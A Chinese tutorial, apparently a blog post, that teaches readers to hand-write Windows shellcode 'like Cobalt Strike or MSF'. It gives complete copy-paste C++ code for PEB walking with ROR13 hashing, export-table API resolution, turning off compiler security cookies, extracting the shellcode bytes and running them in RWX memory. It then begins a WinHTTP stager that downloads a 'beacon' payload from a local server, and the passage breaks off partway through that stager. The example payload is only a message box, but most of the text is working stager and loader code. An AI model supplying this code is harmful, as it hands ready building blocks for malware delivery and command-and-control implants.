这几期写的东西太复杂了,很多人说看不懂,让我们搞点轻松的。毕竟轻松的东西容易让人有成就感也是学习技术的最佳路线。
本系列文章会填鸭式教学编写一个shellcode就像cobal strike、msf那种一样.
本系列分三章:
第一章将介绍实现一个简单的hello world
第二章将实现一个简单的合法的远程协助工具
第三章将分析cobal strike的shellcode并且与第一章第二章对照
不要紧张.本系列很简单的,小白也会.本文不涉及到大量的汇编(本来想手工汇编写的,但是肯定很多人不懂,就整简单的)
环境准备
我们要用到如下工具:
vs2019(2022也可以,但是bug太多了目前)、ida、x64dbg.这里就不介绍工具的安装了.
打开vs2019,选择控制台应用(记住是c++控制台不是c#),然后一路下一步就到这个页面了:
我们只写x32的shellcode,所以环境请保持不要动(debug/x86)
简单的注意事项
编写shellcode时候,要注意几点:
-
由于ALSR的存在,PE文件有重定向表.shellcode是没有的
-
由于shellcode没有重定向表,所以你在网上搜的那些XP时代的shellcode编写教程最多最多只能跑一次,再次重启就啥也没有了
-
由于我们是shellcode没有rdata,变量只能在栈上也就是函数内,不能有全局变量
解决重定向第一步: 获取kernel32的地址
为了解决重定向问题不至于shellcode只能启动一次,我们需要人肉定位API函数.
为了实现这个过程,我们需要几步走:
-
在内存中寻找kernel32.dll、ntdll.dll这些dll
-
解析这些dll的导出表
-
通过导出表的名字定位到函数,拿到最关键的两个API,getprocessaddress和loadlibrary这样就不用每次都定位导出函数了
这就相当于你从原始时代一路敲工具进化到工业时代一样.
由于本篇是填鸭式教学,所以就不细说具体原理了
大概原理是32或者64的程序里面有个重要的结构是PEB,PEB是系统的环境变量,你的进程的参数啥的都在里面.PEB里面有LDR,LDR里面塞了kernel32、ntdll这些dll的地址,然后读这些地址的PE头解析拿到导出表,导出表有函数名字跟地址的信息,拿到这些信息就成功了
这是代码,可以直接复制粘贴,复制到main函数上面即可:
请不要对此产生愧疚,因为成功的学习代码的第一步是让代码跑起来.跑起来了,再学习原理
#include <iostream>
#include <Windows.h>
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB;
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
void shellcode_start() {
//代码不用理解,可以直接复制粘贴.
uint64_t base_address = NULL;
//0.读取fs,找到peb
base_address = __readfsdword(0x30);
unsigned short m_counter;
uint64_t ldr_table;
uint64_t dll_name;
uint64_t hash_name;
uint64_t kenrle32_base = 0;
base_address = (uint64_t)((_PEB*)base_address)->pLdr;
ldr_table =
(uint64_t)((PPEB_LDR_DATA)base_address)->InMemoryOrderModuleList.Flink;
//1. 通过peb里面的LDR找到kernel32的地址
while (ldr_table) {
dll_name =
(uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.pBuffer;
m_counter = ((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.Length;
hash_name = 0;
do {
hash_name = _rotr((unsigned long)hash_name, 13);
if (*((unsigned char*)dll_name) >= 'a')
hash_name += *((unsigned char*)dll_name) - 0x20;
else
hash_name += *((unsigned char*)dll_name);
dll_name++;
} while (--m_counter);
//hash name其实是基于dll_name的因为我们也不想取到其他的莫名其妙的东西,做个简单地hash会准确很多
//如果你不想用hashname,那么你可以printf("%wZ",dll_name);观察一下dll name自己想一下新的思路
if ((unsigned long)hash_name == 0x6A4ABC5B) {
//这就是kernel.dll的地址了
kenrle32_base = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->DllBase;
break;
}
ldr_table = DEREF(ldr_table);
if (kenrle32_base != 0) {
//找到了退出
break;
}
}
if (kenrle32_base == 0) {
__debugbreak();
}
printf("kernel32: %p n", kenrle32_base);
}
给main调用一下,看看调试输出
int main()
{
shellcode_start();
std::cout << "Hello World!n";
system("pause");
}
点这个运行程序:
没有错误的,将会看到这个:
这个时候,你可以用processhacker看或者用vs自带的工具查看模块列表,确认一下是否有误
我们可以看到,是一模一样的
说明是没有问题的.让我们继续下一步
解决重定向第二步: 解析导出表
有了地址后,我们直接解析导出表
解析导出表具体也分几步:
-
获取PE头
-
通过PE头获取导出表
-
通过导出表获取到函数
这里也只说个大概,具体细节你需要参阅PE结构
以下代码贴在刚刚你的printf后,同时删掉之前的printf
typedef HMODULE(WINAPI* GetProcAddressT)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
typedef HMODULE(WINAPI* LoadLibraryAT)(_In_ LPCSTR lpLibFileName);
GetProcAddressT fnGetProcAddress = NULL;
LoadLibraryAT fnLoadlibrary = NULL;
//别在意这边的大小写驼峰混乱,因为是两套代码拼接的,懒得改了....
UINT_PTR uiAddressArray = NULL;
UINT_PTR uiNameArray = NULL;
UINT_PTR uiNameOrdinals = NULL;
PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL;
PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// 解析PE头
pNtHeaders32 = (PIMAGE_NT_HEADERS32)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
pNtHeaders64 = (PIMAGE_NT_HEADERS64)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
// 拿到导出表
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// 遍历导出表
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(kenrle32_base + pDataDirectory->VirtualAddress);
uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions);
uiNameArray = (kenrle32_base + pExportDirectory->AddressOfNames);
uiNameOrdinals = (kenrle32_base + pExportDirectory->AddressOfNameOrdinals);
unsigned long dwCounter = pExportDirectory->NumberOfNames;
char str1[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', ' ' };
char str2[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',' ' };
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str1[0];
int ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnGetProcAddress = (GetProcAddressT)(kenrle32_base + DEREF_32(uiAddressArray));
}
else {
cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str2[0];
ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnLoadlibrary = (LoadLibraryAT)(kenrle32_base + DEREF_32(uiAddressArray));
}
}
if (fnLoadlibrary && fnGetProcAddress) {
break;
}
uiNameArray += sizeof(unsigned long);
uiNameOrdinals += sizeof(unsigned short);
}
if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) {
__debugbreak();
}
printf("kernel32: %p fnGetProcAddress :%pn", fnLoadlibrary, fnGetProcAddress);
不出意外的,你应该看得到:
解决重定向第三步: 工业化!
是时候工业化了,我们现在拥有调用任意API的能力了!
让我们弹出第一个hello world的信息库
以下代码直接复制粘贴即可:
if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) {
__debugbreak();
}
char str3[] = { 'U','S','E','R','3','2','.','d','l','l',' ' };
char str4[] = { 'M','e','s','s','a','g','e','B','o','x','A',' ' };
char str5[] = { 'h','e','l','l','o',' ','w','o','r','l','d',' ' };
typedef int (WINAPI* MessageBoxAT)(_In_opt_ HWND hWnd,_In_opt_ LPCSTR lpText,_In_opt_ LPCSTR lpCaption,_In_ UINT uType);
MessageBoxAT pMessageBoxA = (MessageBoxAT)fnGetProcAddress(fnLoadlibrary(str3), str4);
if (pMessageBoxA == NULL) {
__debugbreak();
}
pMessageBoxA(NULL, str5, NULL ,NULL);
激动人心的时候到了.再次运行…
boom
让我们看看为什么
首先我们知道这是访问冲突,一般是访问错地址了,所以有可能是函数地址取错了
所以我们确认一下变量是否正确,点击左下角的局部变量,主要看fnGetProcAddress和fnLoadlibrary
然后打开反汇编
把这两地址复制到地址栏查看
你会发现fnGetProcAddress是正确function,但是fnLoadlibrary的地址长这样,很明显不是一个function(最简单的标记:function之间应该有int3)
所以我们得回过头看去如何定位的.bug很简单,你可以先找一下,这是答案
修复完后,再运行,你应该看得到一个漂亮的hello world了
变成shellcode
我们现在的是function,而不是一段shellcode.我们的目标是编写shellcode
所以我们要把它变成shellcode,代码很简单,请直接复制粘贴,再深究原理:
在shellcode_start的函数下面放一个shellcode_end:
void shellcode_end() {
__debugbreak();
}
然后main里面去掉之前的shellcode_start,生成模式从debug改成release
再然后复制如下代码:
const auto start_address = (uint32_t)shellcode_start;
const auto shellcode_size = (uint32_t)shellcode_end - (uint32_t)start_address;
for (size_t i = 0; i < shellcode_size; i++)
{
auto sig_code = ((unsigned char*)start_address)[i];
printf(",0x%02X", sig_code);
}
然后 最重要的来了
我们的VS会优化代码 + 增加security cookie
而前者会完全破坏掉shellcode,后者会让你的shellcode出现空指针异常(因为security cookie是全局变量,但是我们shellcode压根不能用)
所以你必须关掉它:
关闭security cookie:
关闭优化
请记住,这是配置release的,生成shellcode的时候不能用debug生成,否则你的函数地址会是错的,是debug的gate函数而不是真正的函数!!!!!!
运行后,我们得到了一段美丽的shellcode:
内存加载它看看:
char shellcode[] = { .... };
PVOID p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
typedef void(__stdcall* door_code) ();
door_code run_shellcode = (door_code)p;
run_shellcode();
恭喜你,shellcode的hello world就完成了
问题环节
-
为什么shellcode中不能用全局变量、API函数
已经说过了,因为ALSR加上因为你不是正常的pe,正常的PE这些API函数会通过导出表得到真正的地址,你用API函数的只是你编译那会的API地址,重启程序就没了.也就是shellcode第一次能跑,第二次就炸的问题,所以才要大费周章的重定位 -
为什么shellcode中的字符串会是
char str3[] = { 'U','S','E','R','3','2','.','d','l','l',' ' }
;
这种而不是直接的”user32.dll”
因为字符串也会当成全局变量存到rdata段,你是shellcode没办法访问.
完整代码
// 韭菜之家_day1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(unsigned __int64 *)(name)
#define DEREF_32( name )*(unsigned long *)(name)
#define DEREF_16( name )*(unsigned short *)(name)
#define DEREF_8( name )*(UCHAR *)(name)
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB;
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
void shellcode_start() {
//代码不用理解,可以直接复制粘贴.
//0.读取fs,找到peb
uint64_t base_address = 0;
__asm
{
mov eax, fs: [30h]
mov dword ptr[base_address], eax
}
unsigned short m_counter;
uint64_t ldr_table;
uint64_t dll_name;
uint64_t hash_name;
uint64_t kenrle32_base = 0;
base_address = (uint64_t)((_PEB*)base_address)->pLdr;
ldr_table =
(uint64_t)((PPEB_LDR_DATA)base_address)->InMemoryOrderModuleList.Flink;
//1. 通过peb里面的LDR找到kernel32的地址
while (ldr_table) {
dll_name =
(uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.pBuffer;
m_counter = ((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.Length;
hash_name = 0;
do {
hash_name = _rotr((unsigned long)hash_name, 13);
if (*((unsigned char*)dll_name) >= 'a')
hash_name += *((unsigned char*)dll_name) - 0x20;
else
hash_name += *((unsigned char*)dll_name);
dll_name++;
} while (--m_counter);
//hash name其实是基于dll_name的因为我们也不想取到其他的莫名其妙的东西,做个简单地hash会准确很多
//如果你不想用hashname,那么你可以printf("%wZ",dll_name);观察一下dll name自己想一下新的思路
if ((unsigned long)hash_name == 0x6A4ABC5B) {
//这就是kernel.dll的地址了
kenrle32_base = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->DllBase;
break;
}
ldr_table = DEREF(ldr_table);
if (kenrle32_base != 0) {
//找到了退出
break;
}
}
if (kenrle32_base == 0) {
__debugbreak();
}
typedef HMODULE(WINAPI* GetProcAddressT)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
typedef HMODULE(WINAPI* LoadLibraryAT)(_In_ LPCSTR lpLibFileName);
GetProcAddressT fnGetProcAddress = NULL;
LoadLibraryAT fnLoadlibrary = NULL;
//别在意这边的大小写驼峰混乱,因为是两套代码拼接的,懒得改了....
UINT_PTR uiAddressArray = NULL;
UINT_PTR uiNameArray = NULL;
UINT_PTR uiNameOrdinals = NULL;
PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL;
PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// 解析PE头
pNtHeaders32 = (PIMAGE_NT_HEADERS32)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
pNtHeaders64 = (PIMAGE_NT_HEADERS64)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
// 拿到导出表
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// 遍历导出表
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(kenrle32_base + pDataDirectory->VirtualAddress);
uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions);
uiNameArray = (kenrle32_base + pExportDirectory->AddressOfNames);
uiNameOrdinals = (kenrle32_base + pExportDirectory->AddressOfNameOrdinals);
unsigned long dwCounter = pExportDirectory->NumberOfNames;
char str1[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', ' ' };
char str2[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',' ' };
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str1[0];
int ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnGetProcAddress = (GetProcAddressT)(kenrle32_base + DEREF_32(uiAddressArray));
}
else {
cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str2[0];
ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions);
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnLoadlibrary = (LoadLibraryAT)(kenrle32_base + DEREF_32(uiAddressArray));
}
}
if (fnLoadlibrary && fnGetProcAddress) {
break;
}
uiNameArray += sizeof(unsigned long);
uiNameOrdinals += sizeof(unsigned short);
}
if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) {
__debugbreak();
}
char str3[] = { 'U','S','E','R','3','2','.','d','l','l',' ' };
char str4[] = { 'M','e','s','s','a','g','e','B','o','x','A',' ' };
char str5[] = { 'h','e','l','l','o',' ','w','o','r','l','d',' ' };
typedef int (WINAPI* MessageBoxAT)(_In_opt_ HWND hWnd,_In_opt_ LPCSTR lpText,_In_opt_ LPCSTR lpCaption,_In_ UINT uType);
MessageBoxAT pMessageBoxA = (MessageBoxAT)fnGetProcAddress(fnLoadlibrary(str3), str4);
if (pMessageBoxA == NULL) {
__debugbreak();
}
pMessageBoxA(NULL, str5, NULL ,NULL);
__debugbreak();
}
void shellcode_end() {
__debugbreak();
}
int main()
{
/*
const auto start_address = (uint32_t)shellcode_start;
const auto shellcode_size = (uint32_t)shellcode_end - (uint32_t)start_address;
for (size_t i = 0; i < shellcode_size; i++)
{
auto sig_code = ((unsigned char*)start_address)[i];
printf(",0x%02X", sig_code);
}
char shellcode[] = { ... };
PVOID p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
typedef void(__stdcall* door_code) ();
door_code run_shellcode = (door_code)p;
run_shellcode();
*/
system("pause");
}
我们实现了初步的shellcode,但是距离实现我们的功能还有一段时间.
本章将会介绍关键的payload下载.准备好加载我们的主要功能
首先需要准备一个http服务器,我这边偷懒使用hfs了.
winhttp
为了下载payload,我这边使用winhttp先下载到内存中.
winhttp下载需要分几步
1.初始化
2.获取大小
3.下载
我们一步一步来看
初始化
winhttp的比较奇怪,会有两个结构体,一个是存放内容的结构体,一个是给函数传参的结构体.存放内容的结构体是栈内存,所以要小一点不至于爆栈(虽然不太可能就是了)
_URL_INFO是我们自己定义的结构体
而URL_COMPONENTSW是真正要用到的结构体.但是内容会放到我们自己定义的结构体上
typedef struct _URL_INFO
{
WCHAR szScheme[36];
WCHAR szHostName[36];
WCHAR szUserName[36];
WCHAR szPassword[36];
WCHAR szUrlPath[36];
WCHAR szExtraInfo[36];
}URL_INFO, * PURL_INFO;
_URL_INFO url = { 0 };
URL_COMPONENTSW lpUrlComponents = { 0 };
lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);
lpUrlComponents.lpszExtraInfo = url.szExtraInfo;
lpUrlComponents.lpszHostName = url.szHostName;
lpUrlComponents.lpszPassword = url.szPassword;
lpUrlComponents.lpszScheme = url.szScheme;
lpUrlComponents.lpszUrlPath = url.szUrlPath;
lpUrlComponents.lpszUserName = url.szUserName;
lpUrlComponents.dwExtraInfoLength =
lpUrlComponents.dwHostNameLength =
lpUrlComponents.dwPasswordLength =
lpUrlComponents.dwSchemeLength =
lpUrlComponents.dwUrlPathLength =
lpUrlComponents.dwUserNameLength = 36;
在这里,假设后续的beacon的路径是http://127.0.0.1/duck
typedef HMODULE(WINAPI* WinHttpCrackUrlT)(_In_reads_(dwUrlLength) LPCWSTR pwszUrl, _In_ DWORD dwUrlLength, _In_ DWORD dwFlags, _Inout_ LPURL_COMPONENTS lpUrlComponents);
typedef HINTERNET(WINAPI* WinHttpOpenT)(_In_opt_z_ LPCWSTR pszAgentW,
_In_ DWORD dwAccessType,
_In_opt_z_ LPCWSTR pszProxyW,
_In_opt_z_ LPCWSTR pszProxyBypassW,
_In_ DWORD dwFlags);
typedef HINTERNET(WINAPI* WinHttpConnectT)(
IN HINTERNET hSession,
IN LPCWSTR pswzServerName,
IN INTERNET_PORT nServerPort,
IN DWORD dwReserved);
typedef HINTERNET(WINAPI* WinHttpOpenRequestT)(
IN HINTERNET hConnect,
IN LPCWSTR pwszVerb,
IN LPCWSTR pwszObjectName,
IN LPCWSTR pwszVersion,
IN LPCWSTR pwszReferrer OPTIONAL,
IN LPCWSTR FAR* ppwszAcceptTypes OPTIONAL,
IN DWORD dwFlags);
typedef BOOL(WINAPI* WinHttpSendRequestT)(
IN HINTERNET hRequest,
_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
IN DWORD dwHeadersLength,
_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
IN DWORD dwOptionalLength,
IN DWORD dwTotalLength,
IN DWORD_PTR dwContext);
typedef BOOL(WINAPI* WinHttpReceiveResponseT)(
IN HINTERNET hRequest,
IN LPVOID lpReserved);
typedef BOOL(WINAPI* WinHttpQueryHeadersT)(
IN HINTERNET hRequest,
IN DWORD dwInfoLevel,
IN LPCWSTR pwszName OPTIONAL,
_Out_writes_bytes_to_opt_(*lpdwBufferLength, *lpdwBufferLength) __out_data_source(NETWORK) LPVOID lpBuffer,
IN OUT LPDWORD lpdwBufferLength,
IN OUT LPDWORD lpdwIndex OPTIONAL);
typedef BOOL(WINAPI* WinHttpCloseHandleT)(
IN HINTERNET hInternet);
constexpr char strWinHttpCrackUrl[] = "WinHttpCrackUrl";
constexpr char strWinHttpOpen[] = "WinHttpOpen";
constexpr char strWinHttpConnect[] = "WinHttpConnect";
constexpr char strWinHttpOpenRequest[] = "WinHttpOpenRequest";
constexpr char strWinHttpSendRequest[] = "WinHttpSendRequest";
constexpr char strWinHttpReceiveResponse[] = "WinHttpReceiveResponse";
constexpr char strWinHttpQueryHeaders[] = "WinHttpQueryHeaders";
constexpr char strWinHttpCloseHandle[] = "WinHttpCloseHandle";
constexpr char strWinhttp[] = "Winhttp.dll";
constexpr wchar_t strUrl[] = L"http://127.0.0.1/duck";
constexpr wchar_t strHead[] = L"HEAD";
constexpr wchar_t strHTTP[] = L"HTTP/1.1";
constexpr wchar_t strGet[] = L"GET";
跟之前一样,用工业化时代的产物定位到这些需要的api
WinHttpCrackUrlT fnWinHttpCrackUrl = (WinHttpCrackUrlT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCrackUrl);
WinHttpOpenT fnWinHttpOpen = (WinHttpOpenT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpen);
WinHttpConnectT fnWinHttpConnect = (WinHttpConnectT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpConnect);
WinHttpOpenRequestT fnWinHttpOpenRequest = (WinHttpOpenRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpenRequest);
WinHttpSendRequestT fnWinHttpSendRequest = (WinHttpSendRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpSendRequest);
WinHttpReceiveResponseT fnWinHttpReceiveResponse = (WinHttpReceiveResponseT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReceiveResponse);
